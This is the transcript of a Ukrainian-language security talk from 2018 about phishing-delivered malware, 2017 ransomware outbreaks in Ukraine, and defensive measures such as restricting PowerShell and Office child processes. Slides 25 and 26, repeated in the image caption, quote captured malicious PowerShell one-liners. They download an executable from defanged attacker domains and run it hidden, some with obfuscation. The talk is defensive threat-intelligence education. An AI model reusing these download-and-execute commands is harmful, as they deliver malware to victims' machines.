Невивчені уроки або логи антивірусних війн
1 like1,868 views
Огляд технік актуальних масових атак із використанням фішингових розсилок. Механізми доставки шкідливого коду. Поширені типи приманок та способи їх знешкодження. Помилки, яких припускаються ІТ та ІБ фахівці при реагуванні на інциденти. Те, про що забувають. Скрипти, powershell, вразливості MS Office. Типові ознаки malware та робота з ними.
![Powershell
1st run
cmd /c powershell "'powershell ""function ysga([string] $bmecmdmov){(new-object
system.net.webclient).downloadfile($bmecmdmov,''%tmp%xpvsvgw.exe'');start-process
''%tmp%xpvsvgw.exe'';}try{ysga(''h11p:icoindna{.}io/bri.ri'')}catch{ysga(''h11p:meanmuscles{.}
com/bri.ri'')}'"" | out-file -encoding ascii -filepath %tmp%dduuyd.bat; start-process '%tmp%dduuyd.bat' -
windowstyle hidden"
2nd run
cmd /c powershell "'powershell ""function bxode([string] $wxhfe){(new-object
system.net.webclient).downloadfile($wxhfe,''%tmp%nsxr.exe'');start-process
''%tmp%nsxr.exe'';}try{bxode(''h11p:icoindna{.} io/bri.ri'')}catch{bxode(''h11p:meanmuscles{.}
com/bri.ri'')}'"" | out-file -encoding ascii -filepath %tmp%ktph.bat; start-process '%tmp%ktph.bat' -
windowstyle hidden"
3rd run
cmd /c powershell "'powershell ""function nnpsd([string] $knhvd){(new-object
system.net.webclient).downloadfile($knhvd,''%tmp%bixi.exe'');start-process
''%tmp%bixi.exe'';}try{nnpsd(''h11p:icoindna{.} io/bri.ri'')}catch{nnpsd(''h11p:meanmuscles{.}
com/bri.ri'')}'"" | out-file -encoding ascii -filepath %tmp%wjqw.bat; start-process '%tmp%wjqw.bat' -
windowstyle hidden"](https://image.slidesharecdn.com/vrmalware120718-180718121748/85/-26-320.jpg)
Невивчені уроки або логи антивірусних війн
- 1. Невивчені уроки або логи антивірусних війн 12 / 07 / 18 Владислав Радецький vr@optidata.com.ua
- 2. #whoami Лінивий параноїк-зануда. Працюю у компанії OptiData Аналізую віруси. Пишу статті. Проводжу навчання з різних аспектів ІБ Допомагаю з проектуванням, впровадженням та супроводом засобів захисту Прийшов до вас щоб поділитися досвідом vr@optidata.com.ua radetskiy.wordpress.com
- 3. OptiData – хто ми є ? Ми – це команда спеціалістів з практичним досвідом інтеграції та супроводу рішень з ІБ. Працюємо лише з тим, в чому розбираємось. Більшість здійснених нами проектів захищені NDA. Проектуємо. Навчаємо. Розгортаємо. Захищаємо.
- 4. OptiData – розсилки IOC
- 5. Важливо ! Усе про що я говоритиму – моя особиста точка зору Усе, що ви сьогодні почуєте може не співпадати із офіційною позицією компанії Усі події та персонажі є вигаданими, а будь-які співпадіння є випадковими Вибачте, етика, NDA etc…
- 6. 04/18 020418 - Ursnif #doc_res #rtf #11882 030418 - quantloader #js #WSH 040418 - quantloader #URL #VBS 040418 - Dyreza #old_twitter_API 060418 - Lokibot #ace #scr | #ramnit #exe 110418 - HawkEye #doc_res #rtf #11882 250418 - netwireRAT #W97M/Downloader Поточна ситуація по атакам
- 7. 05/18 030518 - Pony #doc17_0119 #HTA #power 100518 - Adwind #JAR #WSH 110518 - Lokibot #11882 #rtf 150518 - trojan #XLS #macro #powershell 250518 - Lokibot #zip #exe 250518 - FlawedAmmyy #power 300518 - Lokibot #doc_res #rtf #11882 300518 - Pony #rtf #11882 #gz #exe Поточна ситуація по атакам
- 8. Поточна ситуація по атакам 06/18 040618 - DZ-WORM #W97M/Downloader 070618 - FlawedAmmyy (RAT) #iqy #powershell 140618 - LokiBot #packed #iso #exe 150618 - Grandcrab #WSH #powershell 150618 - Trickbot #W97M/Downloader #power 180618 - IE exploit 18-8174 #VBS #HTA #powershell 190618 - Adwind #JAR #WSH | #pony #gz #exe 200618 - Adwind #JAR #WSH | #pony #r11 #exe 210618 - HawkEye #11882 #rtf 220618 - pony #r11 #exe 260618 - fake_putty #upx 270618 - ransom #RSAUtil #decrypt 270618 - trojan #doc_res #rtf #11882
- 9. Поточна ситуація по атакам 07/18 040718 - Trickbot #W97M/Downloader #powershell 050718 - HawkEye #xlam #powershell 100718 - Lokibot #rtf #11882 100718 - Lokibot #ACE #SCR 110718 - trojan #rar #exe … To be continued .
- 10. Поточна ситуація по атакам 04/18 - 07/18 Всього – > 50 різних зразків MS Office – 17 розсилок з них: із застосуванням powershell – 7 розсилок із застосуванням 11882 – 8 розсилок Java Backdoor – 3 розсилки
- 12. • Раніше: • %tmp%fixed_name.exe • WSH (vb*, js*) - 70% розсилок Що змінилося ? 1 Приманка 2 Payload
- 13. • Тепер: • %Public%random_name.exe • %AppData%*random_name.exe • %ProgramData%random_name.exe • Powershell - 70% розсилок Що змінилося ? 1 Приманка 2 (Dropper) 3 Downl 4 Payload
- 14. Що змінилося ? 1 Приманка 2 (Dropper) 3 Downl 4 Payload • Тепер: • АВ сигнатури із затримкою • Сигнатури генерують по 1му та 2му кроку • Спрацювання АВ – лише частина атаки • Крок 3 – перевірка параметрів системи
- 15. • Раніше: • Розповсюдження – окремо, С2 - окремо • Приманки (80%) працювали лише добу Що змінилося ?
- 16. • Тепер: • Розповсюдження та С2 у 80% - 1 хост • Приманки спрацьовують через 5-7 днів (!) Що змінилося ?
- 17. • Раніше: • Payload – exe, не кодований • Web віддавали payload без зайвих умов Що змінилося ?
- 18. • Тепер: • Payload – кодований/перепакований • Web віддають payload лише по UA або SSL Що змінилося ?
- 19. • Тепер: • Payload – кодований/перепакований • Web віддають payload лише по UA або SSL Що змінилося ? 3 downloader 4 payload
- 20. • Тепер: • Payload – кодований/перепакований • Web віддають payload лише по UA або SSL Що змінилося ?
- 21. • Раніше: • 1 точка • 1 та сама контрольна сума Що змінилося ?
- 22. Що змінилося ? • Тепер: • Мімікрія • Зміна контрольних сум (Zbot, Dyreza, Trickbot)
- 23. Powershell • Основний інструмент завантаження та запуску
- 24. Powershell • Основний інструмент завантаження та запуску
- 25. Powershell powershell $DuGgOVo = ‘yIqQkuk’;$a = ‘Msxml’ + ‘2.XML’ + ‘HTTP’;$avA3BE = ‘zjXOyL’;$b = ‘ADO’ + ‘DB.’ + ‘Stream’;$npo2cb = ‘AhLfy6’;$c = ‘G’ + ‘E’ + ‘T’;$xcVNsaFw = ‘tagBFRbq’;$d = 1 – 1 + 1;$nSQR1qd = ‘RhEGM’;$hr = New-Object - ComObject $a;$Tvcnch = ‘M7cerebf’;$ab = New-Object -ComObject $b;$oVDBm = ‘Y8DEr’;$path = $env:temp + ‘49552.exe’;$YlhPo = ‘zrEVSXdB’;$hr.open($c, ‘h11p:vivedoc{.} rudocument/pax.exe’, 0);$sHDPTRb5M = ‘TgRmj’;$hr.send();$MNhOwnbr = ‘xDJX0Z’;$ccUAdL = ‘JSsQEZQ’;$VR5pnoi = ‘piD7G6t’;$IY8gzg = ‘dZdYx’;$ab.open();$YODMbnR = ‘iIGrd’;$ab.type = $d;$ftUZAT = ‘uQk6v’;$ab.write($hr.responseBody);$MLKVm7Ki = ‘fQWbtv’;$ab.savetofile($path);$HyAX0Mlr = ‘tkvJU’;$ab.close();$NDnZ4YB = ‘NenMcXs’;$ayhTTR = ‘vtBgFL’;$bSBCCnkkL = ‘QaBQu’;$mLvCd5wn = ‘PkTPD’;$Wu3cZ0 = ‘nOP7DR’;$vJrAshn = ‘QvXmKwv’;$KfNmqt = ‘f9cKH3rw’;Start- Process $path;
- 26. Powershell 1st run cmd /c powershell "'powershell ""function ysga([string] $bmecmdmov){(new-object system.net.webclient).downloadfile($bmecmdmov,''%tmp%xpvsvgw.exe'');start-process ''%tmp%xpvsvgw.exe'';}try{ysga(''h11p:icoindna{.}io/bri.ri'')}catch{ysga(''h11p:meanmuscles{.} com/bri.ri'')}'"" | out-file -encoding ascii -filepath %tmp%dduuyd.bat; start-process '%tmp%dduuyd.bat' - windowstyle hidden" 2nd run cmd /c powershell "'powershell ""function bxode([string] $wxhfe){(new-object system.net.webclient).downloadfile($wxhfe,''%tmp%nsxr.exe'');start-process ''%tmp%nsxr.exe'';}try{bxode(''h11p:icoindna{.} io/bri.ri'')}catch{bxode(''h11p:meanmuscles{.} com/bri.ri'')}'"" | out-file -encoding ascii -filepath %tmp%ktph.bat; start-process '%tmp%ktph.bat' - windowstyle hidden" 3rd run cmd /c powershell "'powershell ""function nnpsd([string] $knhvd){(new-object system.net.webclient).downloadfile($knhvd,''%tmp%bixi.exe'');start-process ''%tmp%bixi.exe'';}try{nnpsd(''h11p:icoindna{.} io/bri.ri'')}catch{nnpsd(''h11p:meanmuscles{.} com/bri.ri'')}'"" | out-file -encoding ascii -filepath %tmp%wjqw.bat; start-process '%tmp%wjqw.bat' - windowstyle hidden"
- 27. Powershell
- 28. • Може комбінуватися з документами BITS
- 29. • Може комбінуватися з документами BITS
- 30. > Kafeine, malware.dontneed.coffee.com Web – exploits
- 31. > Kafeine, malware.dontneed.coffee.com Web – exploits
- 32. > radetskiy.wordpress.com Web – exploits
- 33. > radetskiy.wordpress.com Web – exploits
- 34. > Держ. архів Київської області Розповсюдження із скомпрометованих систем
- 35. > radetskiy.wordpress.com Розповсюдження із скомпрометованих систем
- 36. > radetskiy.wordpress.com Розповсюдження із скомпрометованих систем
- 38. Очищайте метадані (с) facebook > проект 6688
- 41. • Фільтр приєднань на рівні web/email - по заголовкам • Фільтр на рівні Web proxy - по User Agent - як на завантаження payload так і на зв’язок із С2 - • Пустий, test, bits, Mozilla 4.x etc – блок • В ідеалі – дозвіл лише актуальним IE, FF, Chrome • Аналіз SSL, заборона завантаження .ехе Перерізати канали доставки
- 42. • Фільтр по джерелу (web/email) .ua, .gov.ua etc – не довірені по замовчуванню • Взагалі, що стосується web трафіку – усе, що не довірене і не потрібне для роботи блок Перерізати канали доставки
- 43. • Execution Policy Bypass • Hidden PowerShell • PowerShell – WMI Script • PowerShell – Download • PowerShell – Encoded Command Powershell – контроль та блок
- 44. • Блок вихідного трафіку • Заборона запуску cmd, powershell, mshta (4User) • Заборона перехресного виклику • Заборона дочірніх процесів для MS Office • Заборона запису та зчитування небезпечних типів CMD, MSHTA, MS Office
- 45. MS Office OLE > PS
- 46. MS Office DDE > PS
- 47. MS Office 118882
- 48. MS Office Macro
- 49. • Зміст образів тестових ВМ • Адекватний час аналізу • Перевірка на інших збірках ОС та Office • Перевірка вручну • Перевірка на залізі Sandboxing
- 50. • Ізоляція на мережевому рівні • Затримка, оновлення в ручному режимі • Тестування оновлень Вимушене використання ПЗ (MEDoc та інші)
- 51. • aDS • ASD MS 17-010
- 52. • aDS • ASD MS 17-010
- 53. • aDS • ASD MS 17-010
- 55. • Привілеї Адміністратора – не обов'язкові • Powershell, office, mshta • Повторне використання приманок • Зміна контрольних сум • Затримки при виконанні Поведінка при зараженні
- 56. • Для простих користувачів – пам'ятка на А4 • Для IT/IS – чітка послідовність процедур • Автономно без очікування команди зверху • Ізолювати, зібрати дані, перевстановити… Реагування на інциденти
- 57. Навчання користувачів - фішинг
- 58. Навчання користувачів - фішинг
- 59. Навчання користувачів - фішинг
- 60. Навчання користувачів - фішинг
- 61. Навчання користувачів - фішинг
- 63. Україна. Кібератаки 2017го року
- 64. Україна. Кібератаки 2017го року WannaCry 12-15 травень +C2, Mimikatz, SMB, +service, -MBR, -MFT, -signed, $300 - $600
- 65. Україна. Кібератаки 2017го року xData 17-18 травень -C2, Mimikatz, SMB, -MBR, -MFT, -signed, $100 - $600
- 66. Україна. Кібератаки 2017го року PetyaA 27 червень -C2, Mimikatz, SMB, +service, +MBR, +MFT, +signed, $300
- 67. Україна. Кібератаки 2017го року BadRabbit 24 жовтень -C2, Mimikatz, SMB, +service, +MBR, +MFT, +signed, $300
- 68. Україна. Кібератаки 2017го року
- 69. Україна. Кібератаки 2017го року WannaCry xData PetyaA BadRabbit травень травень червень жовтень
- 70. MS17-010 – був опублікований 14 / 03 / 17 Mimikatz – був опублікований десь у 2011 Зауважте:
- 71. • Не достатньо просто знати про вразливість • Не достатньо розуміти як саме працює вразливість • Не достатньо поставити виправлення і заспокоїтись Що нам це дає?
- 72. Що змінилося для нас? Україна. Кібератаки 2017го року
- 73. • Частина змирилася і дбає лише про бекапи • Інша частина колекціонує IOC • 15-20% - почали змінювати захист Україна. Кібератаки 2017го року
- 74. Хто з вас проводить розслідування по детекту ? * по кожному спрацюванню систем захисту А звідки ви впевнені що АВ не впіймав лише хвіст ? Реагування на інциденти
- 75. Три історії з практики
- 77. Історія #1 “Макрос” - 24.05.18
- 78. Історія #1 “Макрос” - 14.03.18 • Хтось відкриває документ 2013го року • Спрацьовує макрос – пандемія (файли .doc) • Розслідування, розстріли • За 5 годин усі документи на х00 системах інжектовано • А якби це був #Pony або Ransom ? • …
- 79. Історія #1 “Макрос” - 14.03.18
- 80. Історія #1 “Макрос” - 14.03.18
- 81. Історія #2 “Впертий Բdzɲ”
- 82. Історія #2 “Впертий Բdzɲ”
- 83. Історія #2 “Впертий Բdzɲ” • Жертва отримує фішинг із приманкою • Запускається ransomware • “Ааааа, ваш антивірус пропустив…” • Надаю людині маркери + контрзаходи • Рекурсія, рекурсія, (сумно, боляче) • Зашифровано систему керівника • “То шо ви там казали, який параметр поставити?”
- 84. Історія #3 “Страх або як роблять новини про ІБ”
- 85. Історія #3 “Страх або як роблять новини про ІБ”
- 86. Історія #3 “Страх або як роблять новини про ІБ” • Хтось “качає” щось .. ок, це був фейковий AdobeFlash • Зараження, виведення АРМ з ладу • Чутки поширюються зі швидкістю світла • В одному міністерстві вирішують вимкнути сервери • Журналіст намагається зайти на сайт міністерства • 502 = “Ааааа! Хакери поламали міністерство”
- 87. Висновки
- 88. Висновки #1 • Інструкції на випадок атаки • Автономне прийняття рішень та контрзаходів • Службові розслідування, форензика • Мінімізація втрат • Навчання персоналу
- 89. Висновки #2 • Оновлення/виправлення MS Office та Windows ! ! ! • Блок створення / запуску C:Users***.exe • Контроль/блок WSH, PowerShell, HTA, CMD, MS Office • Посилена фільтрація Web та Email • Відмова від RTF, макросів, JRE, Flash
- 90. Запитання ? #IOC та звіти шукайте тут: radetskiy.wordpress.com
- 91. • Twitter • https://twitter.com/malwrhunterteam • https://twitter.com/James_inthe_box • https://twitter.com/DissectMalware • https://twitter.com/Techhelplistcom • https://twitter.com/malware_traffic • Blogs & Media • https://embedi.com/blog/ • https://www.wired.com/category/threatlevel/ • https://arstechnica.com/information-technology/2018/ • https://threatpost.com/ • https://security.googleblog.com/ • https://www.schneier.com/ • https://krebsonsecurity.com/ • https://www.troyhunt.com/ Джерела інформації:
- 92. • VirtualBox • SysInternals Suite, PSTools • Nirsoft tools • oletools (python) • Wireshark, Fiddler • Pestudio, Explorer Suite, PE Explorer Інструменти:
- 93. Дякую вам за увагу!